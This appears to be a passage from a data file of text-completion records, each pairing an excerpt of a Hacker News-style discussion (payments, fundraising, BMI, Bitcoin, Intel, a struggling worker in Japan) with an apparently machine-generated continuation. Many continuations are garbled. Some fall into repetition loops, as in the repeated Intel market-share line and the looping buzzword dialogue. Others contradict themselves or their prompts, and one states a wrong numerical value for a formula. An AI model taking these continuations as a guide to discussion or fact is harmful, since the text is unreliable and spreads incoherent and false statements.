enabled.\n\n------\nwhitenoice\nJust saw the prescreening of snowden movie with online live event with movie\ncast and snowden post movie, and this was exactly what"} +{"output_text": ", I can pay with my\ninternational debit card.\n\n------\njoeevans1000\nI'm not sure why Venmo is so popular. It seems to me that it's more complicated\nthan it needs to be.\n\n~~~\njzwinck\nIt's not complicated. You send money to people you know. You can send money to\npeople you don't know, but you have to know their email address.\n\nVenmo is the first service I", "input_text": " office, we're far removed\nfrom Silicon Valley and I don't think anyone has ever even heard of Venmo\nhere. We use it all the time to pay each other for lunch runs.\n\n------\ndirktheman\nEase of use for the end users? If you have auto login enabled in your browser\nyou can pay without even typing your password. After checkout you get\nredirected through Paypal, you are logged in automatically, you click 'OK' and\nget redirected to the 'thank you'-page. It's seamless.\n\nSecure? That can be debated. But it is the fastest way to pay for your online\npurchases. I know you're coming from a different standpoint ('Why do\ne-commerce businesses still use Paypal?' would have been a better title in\nthat case) but a lot of end users probably won't switch because it's easy to\nuse.\n\n~~~\nkruczek\nEase of use goes a bit against security. For example in Poland there's a\npopular intermediary przelewy24.pl, but it is just that - an intermediary. You\ndo not create any additional account there, instead when you make a payment\nthey redirect you to your bank's webpage, so you need to authorize directly\nagainst your own bank. Much better IMO than having the intermediary interact\nwith my bank all by themselves.\n\n~~~\ndirktheman\nEase of use and security seldom go hand in hand...\n\n------\nStrom\nThe fee is paid by businesses, not the end-user customers who use PayPal. Thus\nit doesn't even enter the equation when users choose PayPal.\n\nI personally like PayPal because then I only have to update my card info in\none place as opposed to 50 different websites. Also"} +{"output_text": " or seed funds, you need\nto find the right one. I've seen founders approach hundreds of people in\nexchange for a small investment. That's not a good sign.\n\nInstead, I'd recommend talking to at least 10 people who might be interested\nin your round. Ask them questions like \"What's your expected return?\",\n\"What's your risk?\", and \"What's your size?\". If they can't give you a\nreasonable answer to any of those", "input_text": " working full-time on our\nproduct. We have no taken on any investments yet. We closed our first customer\nwhile both working full-time jobs and have been building enough pipeline to\nhave a clear path to covering our expenses over the next 6 months.\n\nWe have been very deliberate about not courting investors yet because we want\nto ensure we have something people would want to actually invest in before we\nstart the whole fundraising process.\n\nWe have gone down the route of trying to pitch the vision to investors while\ntrying to find customers and found the whole experience to be distracting and\na bit of a fools errand for first time founders.\n\nMy biggest takeaway from the experience was the growth trumps all. Investors\nwant to invest in companies that have a very clear path to growth ($x in =\n$10x out) in markets that will grow into the future. They are also more\nenticed if it seems like their personal interactions will be the key\ndifferentiator in the success or failure of a business.\n\nIf your goal is go full-time on your product, I would recommend trying to\nclose as many customers as you would need to ensure both you and your\ncofounder can cover your monthly expenses. Once you get to this point,\nthinking about how to raise money (and more importantly WHAT you will do with\nit after you have it) becomes more relevant.\n\n------\nlpolovets\n(I'm a VC)\n\nFirst step is figuring out how much you need to raise and who the appropriate\ninvestors are. If it's tens of thousands or low hundreds of thousands of\ndollars, that can be from angel investors. If it's closer to a million or\nmore, that's typically seed funds.\n\nOnce you figure out whether to target angel investors"} +{"output_text": " at those charts.\n\n1) Twitter is for celebrities. 2) MySpace is for losers. 3) Facebook is for\nthe losers that are even bigger losers. 4) MyYearbook is for losers.\n\nTwitter is for normal people.\n\n~~~\nhristov\nAnd the answer is...\n\n \n \n (1 + (1/sqrt(5))) / 2 = 0.629\n\n~~~\nhristov\n", "input_text": " compares. One of them, you probably have never heard of (and by\n\"coincidence\", its name is a portmanteau of the names of two other networks.)\n\n~~~\nhristov\nYes, and notice the first chart in his article. It has bars for Twitter,\nfacebook, myspace and myyearbook, and surprise surprise his unknown company\nsports the highest bar.\n\nGood job myyearbook! Way to get that 25% share of teenagers. So let me guess\nyou have 4 members and one of them is a teenager. Your younger brother\nperhaps?\n\n------\nmakmanalp\nThe first four reasons why they don't use twitter give some insight:\n\n1) It's lame 2) My friends don't use it 3) I don't understand it 4) It doesn't\nhelp me do anything\n\nThe rest of the reasons are less than 15%.\n\n~~~\nhughprime\nPretty sensible reasons there.\n\nI can't see much point in a teenager using twitter. Teenagers spend every\nweekday at the same school as most of their friends anyway, and at any given\ntime their friends are doing pretty much the same thing they are. \"Sitting in\nclass. Bored.\"\n\nIt's only when you get older and your friends get a bit more diverse and\nspread out and more likely to be engaging in interesting activities that\ntwitter becomes less dull.\n\n------\nDeadsunrise\nMy brain hurts after seeing those piecharts, \"Yes\" in red and \"No\" in Blue. I\nhad to check the legend twice to make sense of them (and still seems counter-\nintuitive)\n\n------\nhristov\nOMG, Twitter has to have the best fricking marketing people in the universe.\nJust look"} +{"output_text": "'ve tried different things to help me focus, but it never really worked for me.

I'm not sure what I can do to fix this, or if it's even fixable. I'm really struggling with myself and I don't know what to do.

Thanks for reading this and any advice you can give would be greatly appreciated.

PS: I'", "input_text": " molecular bonds, which would be\nspecific to symmetries/energies in Ice-7 and very different from the known\nspectrum of diamond.\n\nedit to add:\n[http://www1.lsbu.ac.uk/water/water_vibrational_spectrum.html](http://www1.lsbu.ac.uk/water/water_vibrational_spectrum.html)\n\nHowever, I suppose it could also be X-ray crystallography, which would measure\nthe actual crystal structure. Probably other methods as well...\n\n~~~\ncreep\nThey do mention it in the article\n\n>But while they were scanning the diamonds with high intensity X-rays, they\nsaw something else: The first conclusive evidence of ice-VII on the planet.\n\nBut probably they used other methods to confirm.\n\n------\nnfarrell\nIce Nine???\n\n~~~\nsamstave\nTyrell Corp security are here to have a word....\n\n \nAsk HN: Is it 'normal' to struggle so hard with work? - throwawayqdhd\nThis question might come across as dumb, especially for a 30 year old, but I come from a culture where this aspect of work was never emphasized and at this point, I don't know who to ask.

Basically, since as long as I can remember, I've had issues motivating myself to work and focusing on a single task.

I've used everything from rewards ("If I work for X hours, I'll play a video game") and punishment ("If I don't work for X hours, I'm a complete failure") to get myself to work.

I"} +{"output_text": " _Women_ : This is the most obvious one. Yes, we need more women in tech.\nBut we also need _more men_. We need more people who can step into leadership\npositions when there's a vacancy. We need more people who can _keep_ those\npositions when there's a vacancy. We need more people who can _raise_ the\nbar/lower the bar.\n\n2\\. _People from underrepresented groups_ : This is the most important part.", "input_text": "\na buxom under qualified blonde a second interview because \"we don't have any\nhot chicks in this office.\"\n\n~~~\npessimizer\nAre you honestly going to try to tell me that you get a lot of homeless\napplicants? If I get a homeless applicant, they're getting an interview.\n\n~~~\nacctjustforyou\nIf I get an applicant who cannot or will not understand what a thought\nexperiment is, they're not getting an interview - I don't care what college\nthey went to.\n\nAnd yes, I registered this account because your comment was so breathtakingly\nill-informed.\n\n------\nnailer\nThe proper way to fix unconscious bias is blind hiring, at least until the\nfinal stage. I know a bunch of people with CS degrees in the Unix world and\nthey can't program, I know a bunch of people without them who can.\n\nThe only test of skill is a test of skill. Blindly ask them both to make a\nthing, leave them alone for forty minutes to make it, and see who makes it\nbetter.\n\n------\nbasseq\nThis article is what happens when you push diversity by fiat and don't extend\nthe initiative beyond recruiting. Even when programs like this are well-\nintentioned, you can see the _extremely destructive_ fallout: the author and\nthose like him are going to look at all \"diverse\" employees and think, \"You\ngot a free pass. You're not as good as everyone else.\"\n\nLet's flip all these changes around to show how it's not about \"lowering the\nbar\", it's about realizing that a one-size-fits-all \"bar\" isn't an effective\nhiring method in the long run.\n\n1\\."} +{"output_text": "https://www.melbourne.vic.gov.au/Sustainability/UrbanForest/Pages/Trees.aspx)\n[4]\n[https://en.wikipedia.org/wiki/Melbourne,_Victoria](https://en.wikipedia.org/wiki/Melbourne,_Victoria)\n[5]\n[https://www.nature.com/articles/s41558-018-0477-7](https://www.nature.", "input_text": " * consequently, ~40% of the city's trees are dead, or are in decline. The council now expects that 27% of the trees will die in the next 10 years, and 44% of the trees will die in the next 20 years.\n\nMelbourne city now is aiming to improve tree canopy cover from 22% to 40% by\n2040 [3], as a means to reduce the city's temperature by 4 degrees C. There is\nalso work to capture storm water run-off from the city to use for irrigation.\n\nNote that this is only talking about Melbourne's city centre (0.12m\nresidential population of 4.2m total) [4].\n\nAs an aside, outside of cities, there is a recent Nature Geoscience paper that\nlinks lethal tree water stress thresholds to long-term climate models, and\nforecasts tree deaths due to drought in the southwestern United States by\n~2050, assuming the world follows a high-emissions business-as-usual scenario\n(RCP 8.5, i.e. uncontrolled emissions, which tracks reality to date) [5].\n\n[1]\n[https://www.melbourne.vic.gov.au/Sustainability/AdaptingClim...](https://www.melbourne.vic.gov.au/Sustainability/AdaptingClimateChange/Pages/Drought.aspx)\n[2] [http://citiscope.org/story/2015/can-melbourne-lower-its-\ntemp...](http://citiscope.org/story/2015/can-melbourne-lower-its-\ntemperature-4-degrees) [3]\n[https://www.melbourne.vic.gov.au/Sustainability/UrbanForest/...]("} +{"output_text": " and I think that's because I can relate to the feelings he\nexpressed in them.\n\n------\njap\nI'm not sure I understand the point of this article. The author seems to\nbelieve that Van Gogh's paintings are more meaningful because he was not\n\"normal\" and had mental problems. But I don't see how this makes his art\nbetter.\n\nI think the author is confusing the act of creating with the act of\nperceiving/expressing.", "input_text": " a lot in the countryside. What I think is amazing about Van Gogh is\nthat he paints those scenes not just as \"beautiful\" in a simple sense, but\nsometimes in a way that makes the landscape looks lonely, sad, or even\ndistorted in a strangely vivid and almost scary way.\n\nI doubt Van Gogh himself would say that his paintings \"lived up\" to the lived\nexperience of being in the countryside during a sunset, say. But they mirror\nit in an interesting way, and having seen those paintings, one can see the\ncountryside in a somewhat different way, or with more complex resonances.\n\nHis letters are fascinating to read. Some quotes:\n\n _\u201cWhat I want to express, in both figure and landscape, isn\u2019t anything\nsentimental or melancholy, but deep anguish. In short, I want to get to the\npoint where people say of my work: that man feels deeply, that man feels\nkeenly.\u201d_\n\n _\u201cMany a worker in a factory or shop has had a strange, beautiful and pious\nyouth. But city life sometimes removes \u2018the early dew of the morning.\u2019 Even\nso, the longing for \u2018the old, old story\u2019 remains. What is at the bottom of the\nheart stays at the bottom of the heart.\u201d_\n\n _\u201cWhat am I in the eyes of most people \u2013 a nonentity or an eccentric or an\nobnoxious person \u2013 someone who has no position in society and never will have,\nin short the lowest of the low. Well, then \u2013 even if that were all absolutely\ntrue, I should one day like to show by my work what there is in the heart of\nsuch an eccentric, such a nobody.\u201d_\n\nHe's a very different person from me, but I found his paintings strangely\ninteresting,"} +{"output_text": " if\nthat means not being 100% right.\n\n~~~\nmindslight\nThe risk of a buggy implementation of TCP/UDP being widespread is not that it\nwill be used in a way that breaks the end to end principle, but that it will\nbe used in a way that breaks the application layer.\n\nThe application layer is where the real risk is, because it's where the\ndeveloper has the least control. The protocol itself is a set of\nspec", "input_text": "determine (some or all points on) the route. I think future protocols will\ntrack use and payment via client-provided keys which are somehow linked to\ntheir ISP.\n\n------\nmindslight\nWhat is this specifically aimed at? The entire point of the End to End\nPrinciple is that mid-nodes should be passing packets, not mucking about with\nthem. Everything that has been developed contrary to that (eg DPI boxen) are\nbasically exploits of security vulnerabilities attempting to force the old\ntop-down telco services model.\n\nSo yes, putting a name on what m[ie]ddle nodes can observe is useful. But I\nhave to ask for what end, given that any modern protocol should be aimed at\nreducing this \"wire image\" to the absolute minimum possible. The only reason\nnecessitating still using plaintext-header TCP/UDP is because we're stuck with\nNAT, and the only reason to use ip.saddr is because we're stuck with egress\nfiltering.\n\n~~~\npas\nThe problem is, even in a situation with only good faith actors, not every\ncodepath is equally developed/tested/working, and bugs creep in. Especially if\nsome parts of a protocol are there for future use. Then if a buggy\nimplementation gets widespread, that effectively nixes that part of the future\npotential of the protocol.\n\nThat's why, if you think about a clever solution for something, and your\nsolution depends on the letter of the standard instead on actual large scale\nexperiments, then the risk of stumbling into big problems is large. Sure, it\nmight be only 1-5% of the Internet that cannot use your clever solution. But\nhistorically developers opted to chose solutions that work for 99.9%, even"} +{"output_text": "._\n\nI think PG is talking about founders that have a business background and not\nabout founders that have a MBA. I have met many MBA founders that are very\nsmart and have a good understanding of what they do and how it works.\n\n------\njleader\nI think this is a pretty good summary of the situation:\n\n\n------\njleader", "input_text": " (there is a pattern here), who finally relented, and suggested\nMike Markkula, who joined Apple and became one of the early investors.\n\nThat I'd consider a worthy non-tech founder. but then again, the traits that\nJobs exhibited had nothing to do with MBA. I am not even sure there is\nanything distinctively 'business' about it. It's more just what PG called\ndeterminedness.\n\n------\njarin\n\"Touch\u00e9.\" \u2014The Developer Community\n\n------\nsupershazwi\n1 mba guy < 1 technical guy < 1 technical+mba guy < 1 technical guy 1 mba guy\n< 2 technical+mba guys.\n\nI remembered one post here that stated that the best return if you partner one\n'business guy' is if that guy has things like contacts, a customer list, etc.\n\n~~~\nsqrt17\nMore to the point, you need either a cofounder that you would entrust your\nlife to _or_ you need to have part of the requisite skillset so you can choose\none that is competent and does not need to be too far out of your league.\nBecause an incompetent cofounder will mess up exactly those things you can't\nhandle, and one that's out of your league will either only have contempt for\nyou or steal your idea and Zuck you.\n\n------\nfbcocq\nIn case you missed the reference:\n\n\n~~~\nredthrowaway\nNow it makes sense. I thought that post seemed a little flippant.\n\n------\nDeusExMachina\n_I feel bad for some of you technical cofounders. You guys just don't 'get\nit'"} +{"output_text": "omsubban\nThat's not the same as a list of all movies with a certain director. The\ndirector list is only three movies, and only one of them is from the last\nfourty years.\n\n------\njoeblau\nI thought the same thing about the top 10 movies. I was surprised that The\nGodfather was number one.\n\n------\nm3kw9\nThe top 3 are all from the 80s\n\n------\nm3kw", "input_text": " by Errol Morris.\n\n[https://www.rogerebert.com/reviews/great-movie-gates-of-\nheav...](https://www.rogerebert.com/reviews/great-movie-gates-of-heaven-1978)\n\n------\nchillee\nSelf-promotion (of sorts), but I (with some friends) have been watching lots\nof movies and keeping globally ordered rankings on github here:\n[https://github.com/chillee/movierankings](https://github.com/chillee/movierankings)\n\nI find globally ordered rankings of movies to be an interesting exercise of\nconsistency.\n\n------\nsamteeeee\nFolks interested in this topic might like my new side-project: get an email\nwhen your favorite director releases a new movie -\n[https://directoralerts.website](https://directoralerts.website)\n\n------\nngcc_hk\nMinor instruction to make it work for me:\n\npip3 install BeautifulSoup pip3 install mechanize mkdir data\n\nGuess you can check data directory but not sure about the pip3, python does\nnot like R I am not sure and can it pip3 install when not exist....\n\n------\nboomboomsubban\nOnly three movies in the past fourty years, non past 87, is surprising. Is\nPrime that full of older content or did Ebert's recommendations just stop\ncoming from major studios?\n\n~~~\nzucker42\nUsing [https://www.rogerebert.com/great-\nmovies](https://www.rogerebert.com/great-movies) you can filter by date\n\n~~~\nboombo"} +{"output_text": " parliament. The representative is a widely known public\nfigurehead with a well-known platform meaning that although members of the\npublic in other constituencies cannot affect his election to parliament\ndirectly, they can affect the amount of power he wields. The election covers\n500 million people.\n\n3\\. For a national MP, the process is similar to the EU process, but with\nseveral important differences. Firstly, the MP is not elected directly by a\nconstituency.", "input_text": "\nany member state. The commissioners are as far away from the public vote as\nalmost any member of government in the member states.\n\n~~~\nbenaston\nBoth national MPs and EU commissioners are public officials who form public\npolicy that affects citizens' lives. In that much they are comparable. Both\nprocedurally and in scope of effect there will be differences of course\n(commissioners are much more powerful, and therfore should be held to a higher\nlevel of scrutiny).\n\nIn any case, similarity of jobs is orthogonal to the narrow question - who has\nthe stronger mandate?\n\nTake Person A who via an elected representative would like to effect\nlegislative change in their nation. Who has the stronger mandate to take\naction?\n\nIn other words, which representative would be closer to the truth in saying\nthat \"they were acting in Person A's name\"?\n\n1\\. For the sake of argument, let's take the UK Prime Minister. He is voted\nfor by a party consisting of members of the public via an open process to\nrepresent a specific platform; is elected directly by a constituency numbering\nin the low tens of thousands of people who happen to live in a geographical\narea of the nation under representation.\n\nFurthermore, the representative is a widely known public figurehead with a\nwell-known platform meaning that although members of the public in other\nconstituencies cannot affect his election to parliament directly, they can\naffect the amount of power he wields. The election covers 70 million people.\n\n2\\. For an EU Commissioner a shortlist of representatives are chosen _in\nsecret_ by a team of people, each of whom is a proxy, elected via a process\nsimilar to (1). One of the shortlist is chosen by a vote from members of a\ndirectly elected"} +{"output_text": "\nabove.\n\nThe basketball world is full of very tall people.\n\n~~~\nDanBC\n> _I mention the NBA due to height, not athleticism._\n\nYou said \"tall people\".\n\n> _BMI is an overestimate for tall people and an underestimate for short\n> people, due to the scaling law above._\n\nThat's not true.\n\n> _The basketball world is full of very tall people._\n\nThe basketball world is", "input_text": ".\n\n------\nChoronzon\nThis looks like a mean rather than a median distribution,so our American here\nis probably heavier than than the \"average\" normal. Weight distributions are\nstarting to skew to the right due to the existence of a small percentage of\nutterly massive individuals. 15 kilos under normal weight is extremely skinny\nwhile being overweight can go into over 100 kilos at the extremes.\n\n------\nJoshGlazebrook\nI would rather see something on body fat percentage. BMI is not an ideal\nmeasurement in terms of health for a lot of body types.\n\n~~~\nKurtz79\nI don't agree. BMI accounts for height by its own definition and for\nhealth/body types by leaving large margins for the definitions of\nnormal/overweight/obese.\n\nIt might not be a precise measure for some individuals (athletic, heavy\nmuscled males) but what percentage are those in the context of a whole country\n?\n\nAs an average/indicator over a large sample is perfectly acceptable, in my\nopinion.\n\n~~~\nyummyfajitas\nBMI is const x weight/height^2. Volume is proportional to height^3, unless you\nbelieve tall people grow in only 2 directions. So BMI ~ height. That's why\nmost of the NBA is obese.\n\n~~~\nDanBC\nEveryone mentions athletes whenever BMI is mentioned.\n\nMost people are not athletes. Most people do very little exercise. When using\nBMI for an individual you ask them if they do any exercise, but for\npopulations it's fine.\n\n~~~\nyummyfajitas\nI mention the NBA due to height, not athleticism. BMI is an overestimate for\ntall people and an underestimate for short people, due to the scaling law"} +{"output_text": " abstraction.\n\n4 is a very reasonable number.\n\n~~~\nownerthrowaway\n1\\. I'm not leaving. I love Japan.\n\n2/3\\. I'm not going to quit. I have a family. I have to work. I have to eat.\n\n4\\. I can't get an apartment. I can't even find a place to live.\n\n5\\. I'm not leaving.\n\n~~~\nscandox\nI'm not saying", "input_text": "\nto talk this over with someone in person - probably someone with experience.\n\n~~~\nownerthrowaway\n1\\. I came here after graduating college and really liked living here, so I\nstayed.\n\n2/3\\. I've had three so far. The first one was a startup (I was an employee)\nthat ran out of money. The second I spent 6 months working there but I\ncouldn't concentrate on the work and couldn't produce anything. I don't think\nI committed any lines of code in 6 months. I was ashamed of my performance and\nquit right after renewing my visa. The third job I was there for 2 months. I\nfelt even more pressure after doing poorly at the previous job. I felt so\nconfused even when just setting up the environment. I barely managed to do\nanything in 2 months and used to just hide in the toilets sobbing. I felt\nashamed and couldn't handle it anymore so I quit.\n\n4\\. Foreigners have lots of trouble getting apartments etc in Japan. If I just\npack a suitcase and get on a plane leaving everything here in the lurch I'd\nfeel bad because it has effects on other people.\n\n5\\. Maybe 40k?\n\n~~~\nscandox\nI feel like points 1 + 2/3 are in pretty stark contradiction to each other,\nhonestly speaking. Work is a pretty important part of life (if one must work\nthat is). It's clear that you're finding the work culture there dispiriting\nand uncongenial.\n\nIf I were you I'd get my money out and take an extended trip home (if that is\npossible for you). You're worrying about other people at a time when you need\nmore care than they do - after all \"they\" are a pure"} +{"output_text": " not going to work out today because I have a date with that girl I like\"\n\n~~~\nrun4yourlives\nI don't know about the general population, but in my experience, the startup\ncommunity is full of people who are unhealthy.\n\nI'm not talking about the \"looks\" thing, either. I've known plenty of people\nwho are absolutely ripped, and also have serious health problems.\n\nI'm not saying that this community is unhealthy because", "input_text": " lot of startup founders get into bad habits--all-\nnighters because they've just _gotta_ launch that new feature (which they rush\ninto production, it breaks everything, and then they have to stay up even\nlonger to roll it back, or fix the problems), eating nothing but ramen and\ncheap takeout, because they imagine cooking takes too long (though I've found\nmaking simple meals at home is more time-effective, generally), etc.\nEverything takes a back seat to working, which I think is counter-productive.\nYou can't sustain that kind of thing, and when you burn out, you'll burn out\nhard. If you don't sell the company within the \"candle at both ends\" phase\n(however long you can maintain that), you'll hit a brick wall and slow to a\ncrawl for a while (you'll also probably look back on your code and wonder WTF\nyou were thinking).\n\nIn short, I agree. You probably should view having your own company as an\nopportunity to live right, rather than an excuse to live terribly. Maximizing\nhealth and happiness is probably not a bad way to work towards success, as\nlong as \"happiness\" does not involve lots of vacations and living beyond your\n(probably very limited) means.\n\n~~~\nmattmaroon\nThose bad habits would probably exist for most of those people no matter where\nthey worked. Startup founders are a tiny portion of the overall population and\nin my relatively small, unscientifically counter sample don't appear to suffer\nany more from obesity than the rest of the population.\n\nObesity comes from people allowing themselves excuses. \"I'm not going to work\nout today because I have to get this code shipped\" would just as easily become\n\"I'm"} +{"output_text": " good long term strategy.\n\n------\njames_s_tayler\nI'm not sure why this is news. Intel has been losing market share for years.\nThey've been shrinking their market share for years. They've been shrinking\ntheir market share for years.\n\n~~~\nmikegerwitz\n> Intel has been losing market share for years.\n\nWhat do you mean by \"market share\", and how have they lost it?\n\n~~~\nj", "input_text": "https://docs.brew.sh/Installation#macos-requirements)\n\n------\ngumby\nHe big reason to move production offshore was labor cost (straight comparative\nadvantage); now it\u2019s path dependency as the whole supply chain has migrated.\nThis was the US\u2019s big advantage 1890s-1980s but that time has passed.\n\nAdvanced robotics will offer a chance of a fundamental restructuring as labor\ncosts continue to contribute a declining proportion of COGS. The factories and\nsupply chains could be completely distributed and resilient. But the example\nof the Internet is discouraging: the ultimate end-to-end system ended up\nhighly centralized too.\n\n------\nRafuino\nOof, fun times at Intel right now. There are pockets of Intel not forgetting\nwhat made it successful, but they're usually the most difficult places to grow\na career as they get snuffed out pretty quick\n\n------\nphlo\nDuplicate of\n[https://news.ycombinator.com/item?id=23538826](https://news.ycombinator.com/item?id=23538826)\n(which was posted a few minutes earlier).\n\n~~~\nWowfunhappy\nRightfully or not, I think this is the version of record at this point, given\nthat it's sitting at the top of HN right now. They will probably get merged\nlater.\n\n------\nbgorman\nIntel has lost its manufacturing lead, but these changes are not permanent.\nThere is a good chance TSMC stumbles as transistors shrink. Intel has a chance\nto catch up, but it seems like Intel has structural problems that prevent it\nfrom winning deals to manufacture third party designs. Relying on complete\nvertical integration doesn't seem like a"} +{"output_text": " with consistent\nexercise. If you are sedentary, your body will go into starvation mode.\n\n~~~\ngoostavos\nOh, I'm not disputing that the body can limit calorie depletion when caloric\nintake decreases. I'm saying that I've never seen a person who cut calories\nwithout exercise see a noticeable difference in weight.\n\nI'm also saying that I'd be fascinated to read a study on the perpetual\nmotion machines you describe.\n\n~~~\n", "input_text": " whatever Real Science gets quoted, will soon be challenged by another\npaper saying something opposite,\n\n\\- d) people try to reason from common sense (\"surely if you eat less X you'll\nbe less fat, because X does this-and-that\"); I was a believer of the\nthermodynamics-like theory that deltaWeight = weight + (calories in - calories\nout)*stuff; many a post on HN convinced me that it's not true, even though it\nsounds much more obvious than typical dietetary nonsense you'll hear from your\nrandom friend.\n\nI'm against blaming everything on people being not determined or hardworking\nenough. For one, it's wrong attitude (any system that assumes strong willpower\nor moral high ground from people will fail because of human nature; it's\nbetter to engineer around it), and secondly, there are indications that the\nsame diet/exercise combination executed with the same determination will have\ngreat effects on some, moderate on others, and zero-to-negative on few\nunfortunate people.\n\n~~~\ngoostavos\nOut of curiosity, what were the arguments that convinced you that simple\ncalories in/out ins't valid?\n\nI'm personally a tiny bit incredulous anytime someone mentions that they've\ntried cutting calories, but with no results. I've always wondered how they\ncontinue to get an energy surplus in the absence of input. These seemingly\nperpetual motion machines would be of great interest to science, I'm sure ;)\n\n~~~\npolyfractal\nTo be fair, the human body is pretty good at limiting calorie depletion when\ncaloric intake decreases. When you cut calories, your body automatically\nscales back how much you are using.\n\nOf course, this is why any good diet _needs_ to be coupled"} +{"output_text": " a cryptocurrency might go up:\n\n\\- New people are attracted to it because it's innovative, and they want to\nbe part of something new.\n\n\\- It gains mainstream acceptance, and people want to be part of that.\n\n\\- It gains popularity as a store of value, and people want to be part of that.\n\n\\- It gains popularity as a medium of exchange, and people want to be part of\nthat.\n\n\\- It gains popularity as a medium", "input_text": " and require trust in a few in various\nways, and some are decentralized trust-less but still inflationary.\n\nThere is even cryptocurrencies which do not use Proof-of-Work, or Proof-of-\nStake, or Proof-of-Anything - but still can reach consensus in open\ndistributed network.\n\n~~~\nineptech\nSure, but this is an article specifically about BTC; none of its conclusions\nhold for cryptocurrencies generally. I guess it just seems really deceptive to\ntalk about fiat's \"hidden cost\" of inflation while ignoring BTC's not-at-all-\nhidden cost.\n\nSimilarly, I'm unclear on why confirmation times aren't considered a serious\nproblem. It seems like BTC enthusiasts like to discuss a hypothetical future\nin which the BTC infrastructure is so mature that you can buy coffee without\nworrying about fees and confirmation times, but I don't see how we get there\nfrom here. Either the payment takes hours to confirm (leaving the coffee shop\nvulnerable to double-spending) or it goes through an off-chain processor (who\nwould demand to know my identity). Either way you're losing one of the main\nselling points of using a cryptocurrency in the first place.\n\n------\nmaxander\nThe argument makes some intuitive sense (more people buying X over Y makes the\nvalue of X go up, which makes holding X more desirable, so more people buy X\ninstead of Y...), but if this effect actually happened I don't see why it\nwould happen with a cryptocurrency and not, say, gold. Nothing about the\nargument seems specific to cryptocurrencies- it's used here simply as a\ncommodity whose value has historically been going up for awhile, and which\npeople feel pretty bullish about.\n\nThere are other reasons, also, why"} +{"output_text": " will spend their inflationary fiat currency instead of\ntheir deflationary cryptocurrency? Why? Why would they spend their fiat\ncurrency instead of their deflationary cryptocurrency?\n\n~~~\nnradov\nBecause they'll have spent all of the inflationary currency and none of the\ndeflationary currency.\n\n~~~\nzupa-hu\nSo people will be forced to spend deflationary currency? I don't understand.\n\n~~~\nnradov", "input_text": " cannot recommend it enough. It's hilarious, like\nthe cambrian explosion of cryptomoney.\n\n~~~\nroot_axis\nBitcoin is not \"better\" than fiat currencies, it's worse in every way except\nfor the fact that it is not operated by a central authority. In terms of\nconvenience, security, and ease of use it is clearly worse. The world does\nneed a \"back channel\" currency, and bitcoin is a perfect fit for this, but it\nwill never move beyond that because there's simply no reason for the masses to\nuse it.\n\n~~~\nericb\n> it's worse in every way except for the fact that it is not operated by a\n> central authority.\n\n-It is lighter--I can carry it in my head\n\n-It travels faster\n\n-It is not inflated by 2% a year\n\n-It cannot be forged\n\n-It can cross borders\n\n~~~\nAstralStorm\nIt is inflated but currently its value gain masks that.\n\nYou cannot carry those big numbers in your head comfortably. Heck, it is\ntricky to carry a wallet ID. Even trickier to get a physical transaction done\nwith BTC.\n\n~~~\nericb\nSee my link about brainwallets above.\n\n------\nzupa-hu\nI'm confused. Gresham's law sais \"bad money drives out good\". Inflation is\nbad, so from that follows that the money that inflates more will be more used.\nOkay, I buy that.\n\nThen this:\n\n> When the singularity is reached, I think people will be more likely to\n> choose to spend their inflationary fiat currency instead of their\n> deflationary cryptocurrency.\n\nI'm lost here. People"} +{"output_text": " exit strategy?\n\nLingua: I'm not at liberty to discuss my exit strategy.\n\nDanbom: You are not at liberty to discuss your exit strategy?\n\nLingua: I'm not at liberty to discuss my business strategy.\n\nDanbom: You are not at liberty to discuss your business strategy?\n\nLingua: I'm not at liberty to discuss my business strategy.\n\nDanbom: You are not at liberty to", "input_text": "-class language\nsolutions.\n\nDanbom: How do you stay ahead of others in the buzzword industry?\n\nLingua: Net-net, my value proposition is based on maximizing synergies and\nbeing first to market with a leveraged, value-added deliverable. That's the\nopportunity space on a level playing field.\n\nDanbom: Does everyone in business eventually devolve into the sort of mindless\ndrivel you spout?\n\nLingua: If you walk like a duck and talk like a duck, you're a duck. They all\ndrink the Kool-Aid.\n\nDanbom: Do you read \"Dilbert\" in the newspaper?\n\nLingua: My knowledge base is deselective of fiber media.\n\nDanbom: Does that mean \"no\"?\n\nLingua: Negative.\n\nDanbom: DOES THAT MEAN \"NO\"?\n\nLingua: Let's take your issues offline.\n\nDanbom: NO, WE ARE NOT GOING TO TAKE MY \"ISSUES\" OFFLINE.\n\nLingua: You have a result-driven mind-set that isn't a strategic fit with my\ngame plan.\n\nDanbom: I am not getting the answers that I need from you.\n\nLingua: Your call is very important to me.\n\nDanbom: How can you live with yourself?\n\nLingua: I eat my own dog food. My vision is to monetize scalable supply\nchains.\n\nDanbom: When are you going to quit this?\n\nLingua: I may eventually exit the business to pursue other career\nopportunities.\n\nDanbom: What is your"} +{"output_text": " be open to competition, some will be\nclosed, some may not even know.\n\n10\\. If the investor has a follow-on fund, find out if they are open to new\ninvestments. If they are, find out if they are open to you.\n\n11\\. If the investor has a follow-on fund and you have a great idea, find out\nif they are open to new investments. If they are, find out if they are open to\nyou", "input_text": "filter them, don\u2019t send them any and all), or introduce family offices\nlooking to put funds into a pool; then you can contact them a lot earlier.\n\n3\\. There is another way that you can connect with investors, \u201cget an intro to\nus via someone in our network\u201d. With some investors this will be the only way.\n\n4\\. Note the investor landscape, find out their investment thesis. See if\ntheir portfolio has any that could be competitors, any synergies, etc.\n\n5\\. Find out the required milestones (for your current stage and the next\none). This can be a difficult one to find out, for it can pin some of them\ndown a bit too much, especially when they take so many other things into\nconsideration. If they don\u2019t mention it on their site, and there is nothing in\nCrunchbase et al, you\u2019ll have to ask them down the line.\n\n6\\. Find out more about the appropriate partner at the VC firm whom is\ninvolved in your niche. If you can\u2019t find the appropriate partner, aim for the\ntop, and have them point you in the right direction.\n\n7\\. Acquire information about the partner and use it to formulate an email\nthat is about them. I will typically provide a few of my thoughts on something\nthey said in an article. They will be genuine thoughts. No brown-nosing, no\ncompliments for the sake of it, etc, etc.\n\n8\\. Find out the firms current position in the fund life-cycle: are they open\nto new investments, only open to portfolio synergies, only follow-on funds\nleft, etc.\n\n9\\. If the investor\u2019s portfolio has competitors and/or synergies find out\nwhere they stand on this. Some will"} +{"output_text": " I am completely ignorant of the history of Newtonian physics.\nI am only aware of the results, and how they were used.\n\n2\\. The author seems to think that the idea of p-values is a good one. I\ndisagree. The idea of p-values is that the result of a hypothesis test is the\npercentage of times that you would reject the null hypothesis if you made a\nlarge number of observations. This is a good thing. The idea of", "input_text": "\n~~~\ncl42\nHmm, interesting -- I never considered the idea of including junk features to\nbias model's preferences of whatever theoretically ambiguous idea you're\ntrying to promote. That's actually brilliant.\n\n~~~\nmbq\nShameless plug; I'm a 